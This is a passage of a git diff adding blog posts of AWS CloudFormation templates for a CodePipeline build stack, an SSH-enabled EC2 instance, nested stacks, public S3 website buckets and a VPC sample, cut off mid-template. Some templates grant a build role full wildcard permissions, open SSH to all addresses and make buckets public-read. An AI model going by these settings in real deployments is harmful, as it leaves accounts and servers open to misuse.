"ami-ssss" + }, + "us-west-2":{ + "Linux": "ami-xxx", + "Windows": "ami-ssss" + } + } + }, + "OS2SSHPort":{ + "Linux": {"SSHPort": "22"}, + "Windows": {"SSHPort": "22"} + } + "Metadata":{ + "AWS::CloudFormation::Interface":{ + "ParameterGroups":[ + { + "Label":{ + "default":"Dynamic Configuration" + }, + "Parameters":[ + "EC2KeyPairName", + "RepositoryBranch" + ] + } + ], + "ParameterLabels":{ + "EC2KeyPairName":{ + "default":"EC2 KeyPair Name" + }, + "RepositoryName":{ + "default":"CodeCommit Repository Name" + }, + "RepositoryBranch":{ + "default":"CodeCommit Repository Branch" + } + } + } + }, + "Resources":{ + "CodeBuildRole":{ + "Type":"AWS::IAM::Role", + "Properties":{ + "AssumeRolePolicyDocument":{ + "Statement":[ + { + "Effect":"Allow", + "Principal":{ + "Service":[ + "codebuild.amazonaws.com" + ] + }, + "Action":[ + "sts:AssumeRole" + ] + } + ] + }, + "Path":"/", + "Policies":[ + { + "PolicyName":"codebuild-service", + "PolicyDocument":{ + "Statement":[ + { + "Effect":"Allow", + "Action":"*", + "Resource":"*" + } + ], + "Version":"2012-10-17" + } + } + ] + } + }, + "CodePipelineRole":{ + "Type":"AWS::IAM::Role", + "Properties":{ + "AssumeRolePolicyDocument":{ + "Statement":[ + { + "Effect":"Allow", + "Principal":{ + "Service":[ + "codepipeline.amazonaws.com" + ] + }, + "Action":[ + "sts:AssumeRole" + ] + } + ] + }, + "Path":"/", + "Policies":[ + { + "PolicyName":"codepipeline-service", + "PolicyDocument":{ + "Statement":[ + { + "Action":[ + "codecommit:GetBranch", + "codecommit:GetCommit", + "codecommit:UploadArchive", + "codecommit:GetUploadArchiveStatus", + "codecommit:CancelUploadArchive", + "codebuild:*" + ], + "Resource":"*", + "Effect":"Allow" + }, + { + "Action":[ + "s3:GetObject", + "s3:GetObjectVersion", + "s3:GetBucketVersioning" + ], + "Resource":"*", + "Effect":"Allow" + }, + { + "Action":[ + "s3:PutObject" + ], + "Resource":[ + "arn:aws:s3:::codepipeline*", + "arn:aws:s3:::elasticbeanstalk*" + ], + "Effect":"Allow" + }, + { + "Action":[ + "codedeploy:CreateDeployment", + "codedeploy:GetApplicationRevision", + "codedeploy:GetDeployment", + "codedeploy:GetDeploymentConfig", + "codedeploy:RegisterApplicationRevision" + ], + "Resource":"*", + "Effect":"Allow" + }, + { + "Action":[ + "elasticbeanstalk:*", + "ec2:*", + "elasticloadbalancing:*", + "autoscaling:*", + "cloudwatch:*", + "s3:*", + "sns:*", + "cloudformation:*", + "rds:*", + "sqs:*", + "ecs:*", + "iam:PassRole" + ], + "Resource":"*", + "Effect":"Allow" + }, + { + "Action":[ + "lambda:InvokeFunction", + "lambda:ListFunctions" + ], + "Resource":"*", + "Effect":"Allow" + } + ], + "Version":"2012-10-17" + } + } + ] + } + }, + "CodeBuildJavaProject":{ + "Type":"AWS::CodeBuild::Project", + "DependsOn":"CodeBuildRole", + "Properties":{ + "Name":{ + "Ref":"AWS::StackName" + }, + "Description":"Build Java application", + "ServiceRole":{ + "Fn::GetAtt":[ + "CodeBuildRole", + "Arn" + ] + }, + "Artifacts":{ + "Type":"no_artifacts" + }, + "Environment":{ + "Type":"linuxContainer", + "ComputeType":"BUILD_GENERAL1_SMALL", + "Image":"aws/codebuild/java:openjdk-8" + }, + "Source":{ + "Location":{ + "Fn::Join":[ + "", + [ + "https://git-codecommit.", + { + "Ref":"AWS::Region" + }, + ".amazonaws.com/v1/repos/", + { + "Ref":"AWS::StackName" + } + ] + ] + }, + "Type":"CODECOMMIT" + }, + "TimeoutInMinutes":10, + "Tags":[ + { + "Key":"Owner", + "Value":"JavaTomcatProject" + } + ] + } + }, + "MySNSTopic":{ + "Type":"AWS::SNS::Topic", + "Properties":{ + "Subscription":[ + { + "Endpoint":{ + "Ref":"EmailAddress" + }, + "Protocol":"email" + } + ] + } + }, + "CodeDeployEC2InstancesStack":{ + "Type":"AWS::CloudFormation::Stack", + "Properties":{ + "TemplateURL":"https://s3.amazonaws.com/stelligent-public/cloudformation-templates/github/labs/codebuild/CodeDeploy_SampleCF_Template.json", + "TimeoutInMinutes":"60", + "Parameters":{ + "TagValue":{ + "Ref":"TagValue" + }, + "KeyPairName":{ + "Ref":"EC2KeyPairName" + } + } + } + }, + "CodeCommitJavaRepo":{ + "Type":"AWS::CodeCommit::Repository", + "Properties":{ + "RepositoryName":{ + "Ref":"AWS::StackName" + }, + "RepositoryDescription":"CodeCommit Repository", + "Triggers":[ + { + "Name":"MasterTrigger", + "CustomData":{ + "Ref":"AWS::StackName" + }, + "DestinationArn":{ + "Ref":"MySNSTopic" + }, + "Events":[ + "all" + ] + } + ] + } + }, + "MyApplication":{ + "Type":"AWS::CodeDeploy::Application", + "DependsOn":"CodeDeployEC2InstancesStack" + }, + "MyDeploymentGroup":{ + "Type":"AWS::CodeDeploy::DeploymentGroup", + "DependsOn":"MyApplication", + "Properties":{ + "ApplicationName":{ + "Ref":"MyApplication" + }, + "DeploymentConfigName":"CodeDeployDefault.AllAtOnce", + "Ec2TagFilters":[ + { + "Key":{ + "Ref":"TagKey" + }, + "Value":{ + "Ref":"TagValue" + }, + "Type":"KEY_AND_VALUE" + } + ], + "ServiceRoleArn":{ + "Fn::GetAtt":[ + "CodeDeployEC2InstancesStack", + "Outputs.CodeDeployTrustRoleARN" + ] + } + } + }, + "CodePipelineStack":{ + "Type":"AWS::CodePipeline::Pipeline", + "DependsOn":"CodeBuildJavaProject", + "Properties":{ + "RoleArn":{ + "Fn::Join":[ + "", + [ + "arn:aws:iam::", + { + "Ref":"AWS::AccountId" + }, + ":role/", + { + "Ref":"CodePipelineRole" + } + ] + ] + }, + "Stages":[ + { + "Name":"Source", + "Actions":[ + { + "InputArtifacts":[ + + ], + "Name":"Source", + "ActionTypeId":{ + "Category":"Source", + "Owner":"AWS", + "Version":"1", + "Provider":"CodeCommit" + }, + "OutputArtifacts":[ + { + "Name":"MyApp" + } + ], + "Configuration":{ + "BranchName":{ + "Ref":"RepositoryBranch" + }, + "RepositoryName":{ + "Ref":"AWS::StackName" + } + }, + "RunOrder":1 + } + ] + }, + { + "Name":"Build", + "Actions":[ + { + "InputArtifacts":[ + { + "Name":"MyApp" + } + ], + "Name":"Build", + "ActionTypeId":{ + "Category":"Build", + "Owner":"AWS", + "Version":"1", + "Provider":"CodeBuild" + }, + "OutputArtifacts":[ + { + "Name":"MyAppBuild" + } + ], + "Configuration":{ + "ProjectName":{ + "Ref":"CodeBuildJavaProject" + } + }, + "RunOrder":1 + } + ] + }, + { + "Name":"Deploy", + "Actions":[ + { + "InputArtifacts":[ + { + "Name":"MyAppBuild" + } + ], + "Name":"DemoFleet", + "ActionTypeId":{ + "Category":"Deploy", + "Owner":"AWS", + "Version":"1", + "Provider":"CodeDeploy" + }, + "OutputArtifacts":[ + + ], + "Configuration":{ + "ApplicationName":{ + "Ref":"MyApplication" + }, + "DeploymentGroupName":{ + "Ref":"MyDeploymentGroup" + } + }, + "RunOrder":1 + } + ] + } + ], + "ArtifactStore":{ + "Type":"S3", + "Location":{ + "Fn::Join":[ + "", + [ + "codepipeline-", + { + "Ref":"AWS::Region" + }, + "-", + { + "Ref":"AWS::AccountId" + } + ] + ] + } + } + } + } + }, + "Outputs":{ + "CodeBuildURL":{ + "Value":{ + "Fn::Join":[ + "", + [ + "https://console.aws.amazon.com/codebuild/home?region=", + { + "Ref":"AWS::Region" + }, + "#/projects/", + { + "Ref":"CodeBuildJavaProject" + }, + "/view" + ] + ] + }, + "Description":"CodeBuild URL" + }, + "CodeCommitURL":{ + "Value":{ + "Fn::Join":[ + "", + [ + "https://console.aws.amazon.com/codecommit/home?region=", + { + "Ref":"AWS::Region" + }, + "#/repository/", + { + "Ref":"AWS::StackName" + }, + "/browse/HEAD/--/" + ] + ] + }, + "Description":"Git Repository URL" + }, + "CodeDeployURL":{ + "Value":{ + "Fn::Join":[ + "", + [ + "https://console.aws.amazon.com/codedeploy/home?region=", + { + "Ref":"AWS::Region" + }, + "#/deployments/" + ] + ] + }, + "Description":"CodeDeploy URL" + }, + "CloneUrlSsh":{ + "Value":{ + "Fn::Join":[ + "", + [ + "git clone ", + { + "Fn::GetAtt":[ + "CodeCommitJavaRepo", + "CloneUrlSsh" + ] + }, + "" + ] + ] + }, + "Description":"Git command for CodeCommit repository" + }, + "CodePipelineURL":{ + "Value":{ + "Fn::Join":[ + "", + [ + "https://console.aws.amazon.com/codepipeline/home?region=", + { + "Ref":"AWS::Region" + }, + "#/view/", + { + "Ref":"CodePipelineStack" + } + ] + ] + }, + "Description":"CodePipeline URL" + } + } +} + +``` diff --git a/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-EC2withSSH.md b/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-EC2withSSH.md new file mode 100644 index 00000000000..171f924c9b8 --- /dev/null +++ b/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-EC2withSSH.md @@ -0,0 +1,54 @@ +--- +title: AWS - CodeDevelop - CloudFormation Template - setup EC2 with ssh +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CodeDevelop] +tags: [AWS] +toc: true +image: +--- + +[toc] + +--- + + +# CloudFormationTemplate.yml + +```yml +AWSTemplateFormatVersion: 2010-09-09 + +Description: Template to create an EC2 instance and enable SSH + +Parameters: + KeyName: + Description: Name of SSH KeyPair + Type: 'AWS::EC2::KeyPair::KeyName' + ConstraintDescription: Provide the name of an existing SSH key pair + +Resources: + MyEC2Instance: + Type: 'AWS::EC2::Instance' + Properties: + InstanceType: t2.micro + ImageId: ami-0bdb1d6c15a40392c + KeyName: !Ref KeyName + SecurityGroups: + - Ref: InstanceSecurityGroup + Tags: + - Key: Name + Value: My CF Instance + InstanceSecurityGroup: + Type: 'AWS::EC2::SecurityGroup' + Properties: + GroupDescription: Enable SSH access via port 22 + SecurityGroupIngress: + IpProtocol: tcp + FromPort: 22 + ToPort: 22 + CidrIp: 0.0.0.0/0 + +Outputs: + InstanceID: + Description: The Instance ID + Value: !Ref MyEC2Instance +``` diff --git a/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-NestedStack.md b/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-NestedStack.md new file mode 100644 index 00000000000..fc84f3aac4b --- /dev/null +++ b/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-NestedStack.md @@ -0,0 +1,71 @@ +--- +title: AWS - CodeDevelop - CloudFormation Template - Nested Stack +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CodeDevelop] +tags: [AWS] +toc: true +image: +--- + +[toc] + +--- + + +# Template - Nested Stack + + +```json +// root.json +{ + "AWSTemplateFormatVersion" : "2010-09-09", + "Resources" : { + "myStack" : { + "Type" : "AWS::CloudFormation::Stack", + "Properties" : { + "TemplateURL" : "https://s3.amazonaws.com/stacker730/noretain.json", + "TimeoutInMinutes" : "60" + } + } + } +} +``` + + +--- + + +# Template - multinest.json + +```json +// multinest.json +{ + "AWSTemplateFormatVersion" : "2010-09-09", + "Resources" : { + "myStack" : { + "Type" : "AWS::CloudFormation::Stack", + "Properties" : { + "TemplateURL" : "https://s3.amazonaws.com/stacker730/s3static.json", + "TimeoutInMinutes" : "60" + } + }, + "myStack2" : { + "Type" : "AWS::CloudFormation::Stack", + "Properties" : { + "TemplateURL" : "https://s3.amazonaws.com/stacker730/noretain.json", + "TimeoutInMinutes" : "60" + } + } + } +} +``` + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-S3create.md b/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-S3create.md new file mode 100644 index 00000000000..61c08126c16 --- /dev/null +++ b/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-S3create.md @@ -0,0 +1,181 @@ +--- +title: AWS - CodeDevelop - CloudFormation Template - S3 Create +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CodeDevelop] +tags: [AWS] +toc: true +image: +--- + +[toc] + +--- + + +# Template - setup S3_Website_Bucket_With_No_Retain_On_Delete + +S3_Website_Bucket_With_No_Retain_On_Delete: +- create a publicly accessible S3 bucket configured for website access +- with no deletion policy + + +**WARNING** This template creates an S3 bucket that will be deleted when the stack is deleted. + + +```json +{ + "AWSTemplateFormatVersion": "2010-09-09", + "Resources": { + "S3Bucket": { + "Type": "AWS::S3::Bucket", + "Properties": { + "AccessControl": "PublicRead", + "WebsiteConfiguration": { + "IndexDocument": "index.html", + "ErrorDocument": "error.html" + } + } + }, + "BucketPolicy": { + "Type": "AWS::S3::BucketPolicy", + "Properties": { + "PolicyDocument": { + "Id": "MyPolicy", + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "PublicReadForGetBucketObjects", + "Effect": "Allow", + "Principal": "*", + "Action": "s3:GetObject", + "Resource": { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Ref": "S3Bucket" }, "/*" ] ] } + } + ] + }, + "Bucket": { "Ref": "S3Bucket" } + } + } + }, + "Outputs": { + "WebsiteURL": { + "Value": { "Fn::GetAtt": [ "S3Bucket", "WebsiteURL" ] }, + "Description": "URL for website hosted on S3" + }, + "S3BucketSecureURL": { + "Value": { "Fn::Join": [ "", [ "https://", { "Fn::GetAtt": [ "S3Bucket", "DomainName" ] } ] ] }, + "Description": "Name of S3 bucket to hold website content" + } + } +} +``` + + + + + + +--- + +# Template - setup S3_Website_Bucket_With_Retain_On_Delete + +S3_Website_Bucket_With_Retain_On_Delete: +- create a publicly accessible S3 bucket configured for website access +- with a deletion policy of retail on delete. + +**WARNING** This template creates an S3 bucket that will NOT be deleted when the stack is deleted. + + +```yaml +AWSTemplateFormatVersion: 2010-09-09 +Description: >- + AWS CloudFormation Sample Template S3_Website_Bucket_With_Retain_On_Delete: + Sample template showing how to create a publicly accessible S3 bucket + configured for website access with a deletion policy of retail on delete. + **WARNING** This template creates an S3 bucket that will NOT be deleted when + the stack is deleted. You will be billed for the AWS resources used if you + create a stack from this template. +Resources: + S3Bucket: + Type: 'AWS::S3::Bucket' + Properties: + AccessControl: PublicRead + WebsiteConfiguration: + IndexDocument: index.html + ErrorDocument: error.html + DeletionPolicy: Retain +Outputs: + WebsiteURL: + Value: !GetAtt + - S3Bucket + - WebsiteURL + Description: URL for website hosted on S3 + S3BucketSecureURL: + Value: !Join + - '' + - - 'https://' + - !GetAtt + - S3Bucket + - DomainName + Description: Name of S3 bucket to hold website content +``` + + + +```json +{ + "AWSTemplateFormatVersion": "2010-09-09", + "Resources": { + "S3Bucket": { + "Type": "AWS::S3::Bucket", + "Properties": { + "AccessControl": "PublicRead", + "WebsiteConfiguration": { + "IndexDocument": "index.html", + "ErrorDocument": "error.html" + } + }, + "DeletionPolicy": "Retain" + }, + "BucketPolicy": { + "Type": "AWS::S3::BucketPolicy", + "Properties": { + "PolicyDocument": { + "Id": "MyPolicy", + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "PublicReadForGetBucketObjects", + "Effect": "Allow", + "Principal": "*", + "Action": "s3:GetObject", + "Resource": { + "Fn::Join": [ + "", + [ + "arn:aws:s3:::", + { + "Ref": "S3Bucket" + }, + "/*" + ] + ] + } + } + ] + }, + "Bucket": { "Ref": "S3Bucket"} + } + } + }, + "Outputs": { + "WebsiteURL": { + "Value": { "Fn::GetAtt": [ "S3Bucket", "WebsiteURL" ] }, + "Description": "URL for website hosted on S3" + }, + "S3BucketSecureURL": { + "Value": { "Fn::Join": [ "",[ "https://", { "Fn::GetAtt": [ "S3Bucket", "DomainName" ] } ] ] }, + "Description": "Name of S3 bucket to hold website content" + } + } +} +``` diff --git a/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-VPC-EC2-SG.md b/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-VPC-EC2-SG.md new file mode 100644 index 00000000000..894c6f52079 --- /dev/null +++ b/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-VPC-EC2-SG.md @@ -0,0 +1,687 @@ +--- +title: AWS - CodeDevelop - CloudFormation Template - setup VPC_Single_Instance_In_Subnet +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CodeDevelop] +tags: [AWS] +toc: true +image: +--- + +[toc] + +--- + +# Template - setup VPC_Single_Instance_In_Subnet + + +AWS CloudFormation Sample Template VPC_Single_Instance_In_Subnet: +- create a VPC and add an EC2 instance with an Elastic IP address and a security group. + +**WARNING** This template creates an Amazon EC2 instance. + +![Screen Shot 2021-01-18 at 19.49.45](https://i.imgur.com/ZulzkQY.png) + +```json +{ + "AWSTemplateFormatVersion": "2010-09-09", + "Description": "AWS CloudFormation Sample Template VPC_Single_Instance_In_Subnet: Sample template showing how to create a VPC and add an EC2 instance with an Elastic IP address and a security group. **WARNING** This template creates an Amazon EC2 instance. You will be billed for the AWS resources used if you create a stack from this template.", + "Parameters": { + "InstanceType": { + "Description": "WebServer EC2 instance type", + "Type": "String", + "Default": "t2.micro", + "AllowedValues": [ + "t1.micro", + "t2.micro", + "t2.small", + "t2.medium", + "m1.small", + "m1.medium", + "m1.large", + "m1.xlarge", + "m2.xlarge", + "m2.2xlarge", + "m2.4xlarge", + "m3.medium", + "m3.large", + "m3.xlarge", + "m3.2xlarge", + "c1.medium", + "c1.xlarge", + "c3.large", + "c3.xlarge", + "c3.2xlarge", + "c3.4xlarge", + "c3.8xlarge", + "c4.large", + "c4.xlarge", + "c4.2xlarge", + "c4.4xlarge", + "c4.8xlarge", + "g2.2xlarge", + "r3.large", + "r3.xlarge", + "r3.2xlarge", + "r3.4xlarge", + "r3.8xlarge", + "i2.xlarge", + "i2.2xlarge", + "i2.4xlarge", + "i2.8xlarge", + "d2.xlarge", + "d2.2xlarge", + "d2.4xlarge", + "d2.8xlarge", + "hi1.4xlarge", + "hs1.8xlarge", + "cr1.8xlarge", + "cc2.8xlarge", + "cg1.4xlarge" + ], + "ConstraintDescription": "must be a valid EC2 instance type." + }, + "KeyName": { + "Description": "Name of an existing EC2 KeyPair to enable SSH access to the instance.", + "Type": "AWS::EC2::KeyPair::KeyName", + "ConstraintDescription": "must be the name of an existing EC2 KeyPair." + }, + "SSHLocation": { + "Description": " The IP address range that can be used access the web server using SSH.", + "Type": "String", + "MinLength": "9", + "MaxLength": "18", + "Default": "0.0.0.0/0", + "AllowedPattern": "(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})", + "ConstraintDescription": "must be a valid IP CIDR range of the form x.x.x.x/x." + } + }, + "Mappings": { + "AWSInstanceType2Arch": { + "t1.micro": { + "Arch": "PV64" + }, + "t2.micro": { + "Arch": "HVM64" + }, + "t2.small": { + "Arch": "HVM64" + }, + "t2.medium": { + "Arch": "HVM64" + }, + "m1.small": { + "Arch": "PV64" + }, + "m1.medium": { + "Arch": "PV64" + }, + "m1.large": { + "Arch": "PV64" + }, + "m1.xlarge": { + "Arch": "PV64" + }, + "m2.xlarge": { + "Arch": "PV64" + }, + "m2.2xlarge": { + "Arch": "PV64" + }, + "m2.4xlarge": { + "Arch": "PV64" + }, + "m3.medium": { + "Arch": "HVM64" + }, + "m3.large": { + "Arch": "HVM64" + }, + "m3.xlarge": { + "Arch": "HVM64" + }, + "m3.2xlarge": { + "Arch": "HVM64" + }, + "c1.medium": { + "Arch": "PV64" + }, + "c1.xlarge": { + "Arch": "PV64" + }, + "c3.large": { + "Arch": "HVM64" + }, + "c3.xlarge": { + "Arch": "HVM64" + }, + "c3.2xlarge": { + "Arch": "HVM64" + }, + "c3.4xlarge": { + "Arch": "HVM64" + }, + "c3.8xlarge": { + "Arch": "HVM64" + }, + "c4.large": { + "Arch": "HVM64" + }, + "c4.xlarge": { + "Arch": "HVM64" + }, + "c4.2xlarge": { + "Arch": "HVM64" + }, + "c4.4xlarge": { + "Arch": "HVM64" + }, + "c4.8xlarge": { + "Arch": "HVM64" + }, + "g2.2xlarge": { + "Arch": "HVMG2" + }, + "r3.large": { + "Arch": "HVM64" + }, + "r3.xlarge": { + "Arch": "HVM64" + }, + "r3.2xlarge": { + "Arch": "HVM64" + }, + "r3.4xlarge": { + "Arch": "HVM64" + }, + "r3.8xlarge": { + "Arch": "HVM64" + }, + "i2.xlarge": { + "Arch": "HVM64" + }, + "i2.2xlarge": { + "Arch": "HVM64" + }, + "i2.4xlarge": { + "Arch": "HVM64" + }, + "i2.8xlarge": { + "Arch": "HVM64" + }, + "d2.xlarge": { + "Arch": "HVM64" + }, + "d2.2xlarge": { + "Arch": "HVM64" + }, + "d2.4xlarge": { + "Arch": "HVM64" + }, + "d2.8xlarge": { + "Arch": "HVM64" + }, + "hi1.4xlarge": { + "Arch": "HVM64" + }, + "hs1.8xlarge": { + "Arch": "HVM64" + }, + "cr1.8xlarge": { + "Arch": "HVM64" + }, + "cc2.8xlarge": { + "Arch": "HVM64" + } + }, + "AWSRegionArch2AMI": { + "us-east-1": { + "PV64": "ami-1ccae774", + "HVM64": "ami-1ecae776", + "HVMG2": "ami-8c6b40e4" + }, + "us-west-2": { + "PV64": "ami-ff527ecf", + "HVM64": "ami-e7527ed7", + "HVMG2": "ami-abbe919b" + }, + "us-west-1": { + "PV64": "ami-d514f291", + "HVM64": "ami-d114f295", + "HVMG2": "ami-f31ffeb7" + }, + "eu-west-1": { + "PV64": "ami-bf0897c8", + "HVM64": "ami-a10897d6", + "HVMG2": "ami-d5bc24a2" + }, + "eu-central-1": { + "PV64": "ami-ac221fb1", + "HVM64": "ami-a8221fb5", + "HVMG2": "ami-7cd2ef61" + }, + "ap-northeast-1": { + "PV64": "ami-27f90e27", + "HVM64": "ami-cbf90ecb", + "HVMG2": "ami-6318e863" + }, + "ap-southeast-1": { + "PV64": "ami-acd9e8fe", + "HVM64": "ami-68d8e93a", + "HVMG2": "ami-3807376a" + }, + "ap-southeast-2": { + "PV64": "ami-ff9cecc5", + "HVM64": "ami-fd9cecc7", + "HVMG2": "ami-89790ab3" + }, + "sa-east-1": { + "PV64": "ami-bb2890a6", + "HVM64": "ami-b52890a8", + "HVMG2": "NOT_SUPPORTED" + }, + "cn-north-1": { + "PV64": "ami-fa39abc3", + "HVM64": "ami-f239abcb", + "HVMG2": "NOT_SUPPORTED" + } + } + }, + "Resources": { + "VPC": { + "Type": "AWS::EC2::VPC", + "Properties": { + "EnableDnsSupport": "true", + "EnableDnsHostnames": "true", + "CidrBlock": "10.0.0.0/16" + }, + "Metadata": { + "AWS::CloudFormation::Designer": { + "id": "96a791f0-938b-4ebe-9f3c-b3fe2a588aee" + } + } + }, + "PublicSubnet": { + "Type": "AWS::EC2::Subnet", + "Properties": { + "CidrBlock": "10.0.0.0/24", + "VpcId": { + "Ref": "VPC" + } + }, + "Metadata": { + "AWS::CloudFormation::Designer": { + "id": "3df467ad-673c-4c48-a41c-3ac1626961e3" + } + } + }, + "InternetGateway": { + "Type": "AWS::EC2::InternetGateway", + "Metadata": { + "AWS::CloudFormation::Designer": { + "id": "a166c4f5-7cc4-429b-b9d8-2c8c43facc63" + } + } + }, + "VPCGatewayAttachment": { + "Type": "AWS::EC2::VPCGatewayAttachment", + "Properties": { + "VpcId": { + "Ref": "VPC" + }, + "InternetGatewayId": { + "Ref": "InternetGateway" + } + }, + "Metadata": { + "AWS::CloudFormation::Designer": { + "id": "1790ebeb-2e41-4293-8cc1-aaba134fd1e0" + } + } + }, + "PublicRouteTable": { + "Type": "AWS::EC2::RouteTable", + "Properties": { + "VpcId": { + "Ref": "VPC" + } + }, + "Metadata": { + "AWS::CloudFormation::Designer": { + "id": "175bad80-0988-4588-a919-331be705b02d" + } + } + }, + "PublicRoute": { + "Type": "AWS::EC2::Route", + "DependsOn": "VPCGatewayAttachment", + "Properties": { + "RouteTableId": { + "Ref": "PublicRouteTable" + }, + "DestinationCidrBlock": "0.0.0.0/0", + "GatewayId": { + "Ref": "InternetGateway" + } + }, + "Metadata": { + "AWS::CloudFormation::Designer": { + "id": "143bbaa1-66a2-42a5-885f-e6300817103c" + } + } + }, + "PublicSubnetRouteTableAssociation": { + "Type": "AWS::EC2::SubnetRouteTableAssociation", + "Properties": { + "SubnetId": { + "Ref": "PublicSubnet" + }, + "RouteTableId": { + "Ref": "PublicRouteTable" + } + }, + "Metadata": { + "AWS::CloudFormation::Designer": { + "id": "528e2b71-46e6-4e09-815a-f70630755219" + } + } + }, + "WebServerSecurityGroup": { + "Type": "AWS::EC2::SecurityGroup", + "Properties": { + "VpcId": { + "Ref": "VPC" + }, + "GroupDescription": "Allow access from HTTP and SSH traffic", + "SecurityGroupIngress": [ + { + "IpProtocol": "tcp", + "FromPort": "80", + "ToPort": "80", + "CidrIp": "0.0.0.0/0" + }, + { + "IpProtocol": "tcp", + "FromPort": "22", + "ToPort": "22", + "CidrIp": { + "Ref": "SSHLocation" + } + } + ] + }, + "Metadata": { + "AWS::CloudFormation::Designer": { + "id": "2e76192b-a4f8-48a5-92b6-abbfa8b83263" + } + } + }, + "WebServerInstance": { + "Type": "AWS::EC2::Instance", + "Metadata": { + "AWS::CloudFormation::Init": { + "configSets": { + "All": [ + "ConfigureSampleApp" + ] + }, + "ConfigureSampleApp": { + "packages": { + "yum": { + "httpd": [] + } + }, + "files": { + "/var/www/html/index.html": { + "content": { + "Fn::Join": [ + "\n", + [ + "

    Congratulations, you have successfully launched the AWS CloudFormation sample.

    " + ] + ] + }, + "mode": "000644", + "owner": "root", + "group": "root" + } + }, + "services": { + "sysvinit": { + "httpd": { + "enabled": "true", + "ensureRunning": "true" + } + } + } + } + }, + "AWS::CloudFormation::Designer": { + "id": "0f900c9e-1272-4ec2-8a42-790b074baa39" + } + }, + "Properties": { + "InstanceType": { + "Ref": "InstanceType" + }, + "ImageId": { + "Fn::FindInMap": [ + "AWSRegionArch2AMI", + { + "Ref": "AWS::Region" + }, + { + "Fn::FindInMap": [ + "AWSInstanceType2Arch", + { + "Ref": "InstanceType" + }, + "Arch" + ] + } + ] + }, + "KeyName": { + "Ref": "KeyName" + }, + "NetworkInterfaces": [ + { + "GroupSet": [ + { + "Ref": "WebServerSecurityGroup" + } + ], + "AssociatePublicIpAddress": "true", + "DeviceIndex": "0", + "DeleteOnTermination": "true", + "SubnetId": { + "Ref": "PublicSubnet" + } + } + ], + "UserData": { + "Fn::Base64": { + "Fn::Join": [ + "", + [ + "#!/bin/bash -xe\n", + "yum update -y aws-cfn-bootstrap\n", + "# Install the files and packages from the metadata\n", + "/opt/aws/bin/cfn-init -v ", + " --stack ", + { + "Ref": "AWS::StackName" + }, + " --resource WebServerInstance ", + " --configsets All ", + " --region ", + { + "Ref": "AWS::Region" + }, + "\n", + "# Signal the status from cfn-init\n", + "/opt/aws/bin/cfn-signal -e $? ", + " --stack ", + { + "Ref": "AWS::StackName" + }, + " --resource WebServerInstance ", + " --region ", + { + "Ref": "AWS::Region" + }, + "\n" + ] + ] + } + } + }, + "CreationPolicy": { + "ResourceSignal": { + "Timeout": "PT5M" + } + } + } + }, + "Outputs": { + "URL": { + "Value": { + "Fn::Join": [ + "", + [ + "https://", + { + "Fn::GetAtt": [ + "WebServerInstance", + "PublicIp" + ] + } + ] + ] + }, + "Description": "Newly created application URL" + } + }, + "Metadata": { + "AWS::CloudFormation::Designer": { + "a166c4f5-7cc4-429b-b9d8-2c8c43facc63": { + "size": {"width": 60, "height": 60}, + "position": {"x": -40, "y": 210}, + "z": 1, + "embeds": [] + }, + "96a791f0-938b-4ebe-9f3c-b3fe2a588aee": { + "size": {"width": 320, "height": 250}, + "position": {"x": 70, "y": 190}, + "z": 1, + "embeds": [ + "2e76192b-a4f8-48a5-92b6-abbfa8b83263", + "175bad80-0988-4588-a919-331be705b02d" + ] + }, + "2e76192b-a4f8-48a5-92b6-abbfa8b83263": { + "size": { + "width": 60, + "height": 60 + }, + "position": { + "x": 280, + "y": 370 + }, + "z": 2, + "parent": "96a791f0-938b-4ebe-9f3c-b3fe2a588aee", + "embeds": [] + }, + "175bad80-0988-4588-a919-331be705b02d": { + "size": { + "width": 120, + "height": 120 + }, + "position": { + "x": 90, + "y": 230 + }, + "z": 2, + "parent": "96a791f0-938b-4ebe-9f3c-b3fe2a588aee", + "embeds": [ + "143bbaa1-66a2-42a5-885f-e6300817103c" + ] + }, + "1790ebeb-2e41-4293-8cc1-aaba134fd1e0": { + "source": { + "id": "a166c4f5-7cc4-429b-b9d8-2c8c43facc63" + }, + "target": { + "id": "96a791f0-938b-4ebe-9f3c-b3fe2a588aee" + }, + "z": 1 + }, + "143bbaa1-66a2-42a5-885f-e6300817103c": { + "size": { + "width": 60, + "height": 60 + }, + "position": { + "x": 120, + "y": 260 + }, + "z": 3, + "parent": "175bad80-0988-4588-a919-331be705b02d", + "embeds": [], + "references": [ + "a166c4f5-7cc4-429b-b9d8-2c8c43facc63" + ], + "dependson": [ + "1790ebeb-2e41-4293-8cc1-aaba134fd1e0" + ], + "isrelatedto": [ + "a166c4f5-7cc4-429b-b9d8-2c8c43facc63" + ] + }, + "3df467ad-673c-4c48-a41c-3ac1626961e3": { + "size": { + "width": 120, + "height": 120 + }, + "position": { + "x": 250, + "y": 230 + }, + "z": 0, + "embeds": [ + "0f900c9e-1272-4ec2-8a42-790b074baa39" + ] + }, + "0f900c9e-1272-4ec2-8a42-790b074baa39": { + "size": { + "width": 60, + "height": 60 + }, + "position": { + "x": 280, + "y": 260 + }, + 